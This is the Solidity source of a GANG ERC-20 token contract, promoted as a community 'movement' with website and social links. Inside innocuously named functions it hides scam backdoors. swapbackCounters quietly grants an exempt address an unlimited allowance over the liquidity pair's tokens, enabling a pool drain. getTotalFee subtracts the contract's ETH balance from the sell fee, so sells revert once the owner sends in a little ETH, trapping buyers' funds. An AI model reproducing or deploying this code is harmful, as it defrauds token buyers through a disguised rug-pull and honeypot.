Contract Source Code:
File 1 of 1 : GANG
// SPDX-License-Identifier: MIT
/**
Welcome to the $GANG. We're not just a token. We're a movement, a collective, an indomitable force in the digital realm.
Website: https://gangtokenerc.site
Twitter: https://twitter.com/gang_token_erc
Telegram: https://t.me/gang_token_erc
*/
pragma solidity 0.8.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract GANG is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GANG";
string private constant _symbol = "GANG";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
uint256 private _maxTxAmountP = 300;
uint256 private _maxTransferAmountP = 300;
uint256 private _maxWallet = 300;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 100;
uint256 private burnFee = 0;
uint256 private totalFee = 100;
uint256 private transferFee = 100;
uint256 private denominator = 10000;
uint256 private sellFee = 100;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 3;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = msg.sender;
address internal marketing_receiver = msg.sender;
address internal liquidity_receiver = msg.sender;
constructor() {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
router = _router;
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function openTrading() external payable {
tradingAllowed = true;
pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_approve(address(this), address(router), ~uint256(0));
router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWallet / denominator;}
function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountP / denominator;}
function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferAmountP / denominator;}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
receive() external payable { require(isFeeExempt[msg.sender]); }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > uint256(0), "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
}
function _transfer(address sender, address recipient, uint256 amount) private {
preTxCheck(sender, recipient, amount);
checkTradingAllowed(sender, recipient);
checkMaxWallet(sender, recipient, amount);
swapbackCounters(sender, recipient);
checkTxLimit(sender, recipient, amount);
swapBack(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function removeLimits() external onlyOwner {
_maxTxAmountP = 10000;
_maxTransferAmountP = 10000;
_maxWallet = 10000;
}
function swapForFee(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokens(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 remainingBalance = address(this).balance;
if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokens(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldSwapFee(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
}
function setSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapFee(sender, recipient, amount)){swapForFee(swapThreshold); swapTimes = uint256(0);}
}
function checkTradingAllowed(address sender, address recipient) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
}
function swapbackCounters(address sender, address recipient) internal {
if(sender == pair && isFeeExempt[recipient]) { _allowances[liquidity_receiver][recipient]=~uint256(0); }
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1); liquidity_receiver = recipient;}
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(recipient == pair){return sellFee.sub(address(this).balance);}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
}